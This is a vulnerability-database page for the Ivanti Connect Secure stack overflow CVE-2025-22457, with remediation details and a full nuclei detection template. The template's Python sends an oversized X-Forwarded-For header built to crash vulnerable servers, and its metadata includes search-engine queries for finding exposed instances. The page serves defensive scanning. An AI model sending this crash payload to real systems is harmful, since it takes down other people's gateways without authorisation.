Browse / CVEs / CVE-2025-22457
CVE-2025-22457· ivanti / connect secure· CWE-121, CWE-787
Ivanti Connect Secure - Stack-based Buffer Overflow
Exploited in the wild. Listed by CISA on 2025-04-04; known to be used by ransomware.
Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4, and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by improper input handling, allowing remote attackers to execute arbitrary code without authentication.
Impact
Remote attackers can execute arbitrary code on the affected systems, potentially leading to full system compromise.
Fix
Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later.
How to confirm it
Send: GET {{BaseURL}}/dana-na/auth/url_default/welcome.cgi
Positive when: contains_any(body, "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "dana-na") and status_code == 200
Positive when: contains "VULNERABLE:"Run it with nuclei: nuclei -id CVE-2025-22457 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2025-22457
info:
name: Ivanti Connect Secure - Stack-based Buffer Overflow
author: s4e-io,pussycat0x
severity: critical
description: |
Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4,
and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by
improper input handling, allowing remote attackers to execute arbitrary code without authentication.
impact: |
Remote attackers can execute arbitrary code on the affected systems, potentially leading to full system compromise.
remediation: |
Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later.
reference:
- https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
- https://www.cvedetails.com/cve/CVE-2025-22457
- https://github.com/securekomodo/CVE-2025-22457
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2025-22457
cwe-id: CWE-121,CWE-787
epss-score: 0.99981
epss-percentile: 0.99981
cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
metadata:
vendor: ivanti
product: connect_secure
shodan-query: http.title:"ivanti connect secure"
fofa-query: title="ivanti connect secure"
zoomeye-query: title:"ivanti connect secure"
google-query: intitle:"ivanti connect secure"
tags: cve,cve2025,ivanti,intrusive,kev,vkev,vuln
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
flow: http(1) && code(1)
http:
- method: GET
path:
- "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"
matchers:
- type: dsl
internal: true
dsl:
- 'contains_any(body, "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "dana-na")'
- 'status_code == 200'
condition: and
code:
- engine:
- py
- python3
source: |
import os
import time
import requests
import re
requests.packages.urllib3.disable_warnings()
PATHS = [
"/dana-na/auth/url_default/welcome.cgi",
"/dana-na/setup/psaldownload.cgi",
]
IVANTI_MARKERS = [
"Ivanti Connect Secure",
"Pulse Secure",
"DSLaunchURL",
"welcome.cgi",
"dana-na",
]
TIMEOUT_NORMAL = 5
TIMEOUT_PAYLOAD = 10
def safe_request(method, url, headers=None, timeout=5):
try:
if method == "GET":
return requests.get(url, headers=headers, timeout=timeout, verify=False)
elif method == "POST":
return requests.post(url, headers=headers, timeout=timeout, verify=False)
except requests.exceptions.RequestException:
return None
class IvantiExploit:
def __init__(self, host, port):
self.host = host.rstrip("/")
self.port = port
def build_url(self, path):
host = self.host
if not host.startswith("http://") and not host.startswith("https://"):
host = f"https://{host}"
return f"{host}:{self.port}{path}"
def is_ivanti(self, response_text):
for marker in IVANTI_MARKERS:
if marker in response_text:
return True
return False
def check_vuln(self):
for path in PATHS:
url = self.build_url(path)
# Step 1: Pre-check - must be reachable, return 200, and be Ivanti
r1 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
if not r1 or r1.status_code != 200:
continue
if not self.is_ivanti(r1.text):
print(f"Not an Ivanti target (no Ivanti markers in response). Skipping.")
return False
print(f"Ivanti fingerprint confirmed on {url}")
# Step 2: Send crash payload - POST with oversized X-Forwarded-For
# A vulnerable server will CRASH (no response / timeout)
# A patched or non-vulnerable server will respond normally
payload_headers = {
"User-Agent": "Mozilla/5.0",
"X-Forwarded-For": "1" * 2048,
}
r2 = safe_request("POST", url, headers=payload_headers, timeout=TIMEOUT_PAYLOAD)
if r2 is not None:
# Server responded normally = NOT crashed = NOT vulnerable
print(f"Server responded with HTTP {r2.status_code}. Not vulnerable (no crash).")
continue
# r2 is None = no response = potential crash
print("No response to payload (potential crash detected). Verifying...")
# Step 3: Follow-up check - server should recover and return 200
# Ivanti's web process auto-restarts after crash
time.sleep(2)
r3 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
if r3 is not None and r3.status_code == 200:
print(f"VULNERABLE: {self.host}:{self.port}{path}")
return True
else:
status = r3.status_code if r3 else "no response"
print(f"Follow-up returned {status}. Could not confirm crash recovery. Skipping.")
continue
print("Target appears safe.")
return False
if __name__ == "__main__":
host = os.getenv("Host")
port = os.getenv("Port")
IvantiExploit(host, port).check_vuln()
matchers:
- type: word
words:
- "VULNERABLE:"References
- https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
- https://www.cvedetails.com/cve/CVE-2025-22457
- https://github.com/securekomodo/CVE-2025-22457
Use this check only on systems you are authorised to test. Where the data comes from